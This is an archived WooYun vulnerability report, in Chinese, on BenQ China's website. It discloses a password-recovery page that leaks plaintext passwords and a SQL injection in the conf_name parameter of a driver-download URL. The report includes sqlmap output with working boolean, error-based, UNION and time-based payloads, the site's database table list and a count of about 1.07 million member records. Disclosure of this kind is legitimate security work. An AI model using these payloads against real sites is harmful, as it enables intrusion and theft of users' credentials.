当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079120

漏洞标题:某电通公司主站漏洞合集+107万会员密码明文

相关厂商:benq.com.cn

漏洞作者: 路人甲

提交时间:2014-10-13 00:38

修复时间:2015-01-11 00:40

公开时间:2015-01-11 00:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

又是密码明文保存啊!107万!

详细说明:

明基BenQ是全球一线5C(电脑、通信、消费电子,车载电子,医疗电子)品牌,史上最年轻且成长速度最快的世界500强企业,全球前三大LCD面板制造商,亚洲唯一一个横跨多个不同领域的大型华人企业,旗下拥有明基电通,明基企业服务中心,友达光电,佳世达科技,达方电子,达信科技,达虹科技,瑞鼎科技,威力盟电子,达运精密,达兴材料,明基逐鹿,达隆电子,明基医院,三丰医疗,明基材料,明基医材,奈普,辅祥实业,隆达电子,凯鼎科技,M.Setek,友达能源,达意科技等25个成员公司,跨足PC、绿能、面板、太阳能、资通讯产品、上游材料与医疗保健等事业。


主站地址:www.benq.com.cn
这里要说明2个漏洞:
1、找回密码功能导致密码泄漏;
进入主站,点击最上面的“快速登录”,再点击“记忆密码”,输入帐号及验证码,下一步会进入错误页面,把SQL打印出来,而且。。。居在有密码明文。

进而觉得这个站的安全意识不高,很可能有其它问题,点了点,就找到了下面的SQL注入。
2、某页面SQL注入,可以sql-shell,可以查看到以下重要信息
页面URL:http://www.benq.com.cn/support/drivers/?conf_name=monitor&prod_model=BL2201M,其中的conf_name参数可以被注射
a)可查看到管理员帐户密码等信息;
b)查询到107万注册会员的信息,包括密码明文。

漏洞证明:

问题1:找回密码漏洞:
1、进入找回密码页面,输入相关信息

1-1.png


2、下一步后,进入错误页面,密码的MD5与明文均显示出来。

1-2.png


问题2:SQL注入
第1步:显示数据库名称,其实在前面的错误页面已经看到了,是benq。

sqlmap identified the following injection points with a total of 42 HTTP(s) requests:
---
Place: GET
Parameter: conf_name
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: conf_name=monitor' AND 9677=9677 AND 'JRvg'='JRvg&prod_model=BL2201M
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: conf_name=monitor' AND (SELECT 8378 FROM(SELECT COUNT(*),CONCAT(0x7167706971,(SELECT (CASE WHEN (8378=8378) THEN 1 ELSE 0 END)),0x71726e6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kWDG'='kWDG&prod_model=BL2201M
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: conf_name=monitor' UNION ALL SELECT CONCAT(0x7167706971,0x6c726761534a59556d6c,0x71726e6871)#&prod_model=BL2201M
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: conf_name=monitor' AND SLEEP(5) AND 'Pnry'='Pnry&prod_model=BL2201M
---
web application technology: PHP 5.4.23
back-end DBMS: MySQL 5.0
available databases [2]:
[*] benq
[*] information_schema


第2步:列表名,发现2张重要的表,auth__user和member__users,应该是管理员表和会员表。

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: conf_name
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: conf_name=monitor' AND 9677=9677 AND 'JRvg'='JRvg&prod_model=BL2201M
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: conf_name=monitor' AND (SELECT 8378 FROM(SELECT COUNT(*),CONCAT(0x7167706971,(SELECT (CASE WHEN (8378=8378) THEN 1 ELSE 0 END)),0x71726e6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kWDG'='kWDG&prod_model=BL2201M
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: conf_name=monitor' UNION ALL SELECT CONCAT(0x7167706971,0x6c726761534a59556d6c,0x71726e6871)#&prod_model=BL2201M
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: conf_name=monitor' AND SLEEP(5) AND 'Pnry'='Pnry&prod_model=BL2201M
---
web application technology: PHP 5.4.23
back-end DBMS: MySQL 5.0
Database: benq
[89 tables]
+----------------------------+
| auth__log |
| auth__operates |
| auth__user |
| benq__cms_follow_bak |
| benq__cms_footer_bak |
| benq__cms_menu_bak |
| benq__conf |
| benq__conf_section |
| benq__names |
| benq__names_bak |
| benq__prod |
| benq__prod_3dgls |
| benq__prod_benjoy |
| benq__prod_box |
| benq__prod_class |
| benq__prod_conf |
| benq__prod_conf_search |
| benq__prod_conf_search_bak |
| benq__prod_diy |
| benq__prod_dsc |
| benq__prod_dsk |
| benq__prod_earphone |
| benq__prod_figure |
| benq__prod_gaopaiyi |
| benq__prod_ifp |
| benq__prod_images |
| benq__prod_kbd |
| benq__prod_kmcombo |
| benq__prod_lcd |
| benq__prod_lfd |
| benq__prod_mopo |
| benq__prod_mouse |
| benq__prod_pc |
| benq__prod_printer |
| benq__prod_prj |
| benq__prod_scanner |
| benq__prod_search |
| benq__prod_subclass |
| benq__prod_tag |
| benq__tags |
| benq__tags_assoc |
| cms__alt |
| cms__anchor |
| cms__article |
| cms__associate |
| cms__category |
| cms__driver |
| cms__driver_include |
| cms__email |
| cms__event |
| cms__follow |
| cms__footer |
| cms__indivi_seo |
| cms__indivi_seo_bak |
| cms__info |
| cms__info_bak |
| cms__info_include |
| cms__menu |
| cms__page |
| cms__page_section |
| cms__pic |
| cms__pic_rule |
| cms__pic_size |
| cms__pic_tag |
| cms__resource |
| cms__resource_content |
| cms__resource_html |
| cms__section_associate |
| cms__section_layout |
| cms__section_link |
| cms__section_template |
| cms__service_center |
| cms__service_center_assoc |
| cms__template |
| image_move_temp |
| member__bind |
| member__prod_reg |
| member__profile |
| member__recommend |
| member__users |
| mobi__article |
| mobi__article_category |
| mobi__buyapply |
| mobi__info |
| mobi__layout |
| mobi__page |
| mobi__resource |
| mobi__search |
| mobi__seo |
+----------------------------+


第3步:管理员表的内容就不看了。找回密码漏洞发现把会员的密码明文显示了,说明数据库应该是保存的密码明文,稍证实下自己的猜想,看下表member__users的数据,可以看到最后一列就是密码明文

1-4.png


最后看一下一共有多少会员,107万有余

web application technology: PHP 5.4.23
back-end DBMS: MySQL 5.0
select count(*) from member__users;: '1075524'


测试过程查看的数据在提交乌云后已经全部删除,请务查水查~

修复方案:

1、修复找回密码功能,错误页面重定向;
2、防SQL注入,可以用nginx等做前端过滤,修改工作量较小,效果较好。
to明基厂商:送个礼物吧,最好是明基的产品,我是你们忠实的客户。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝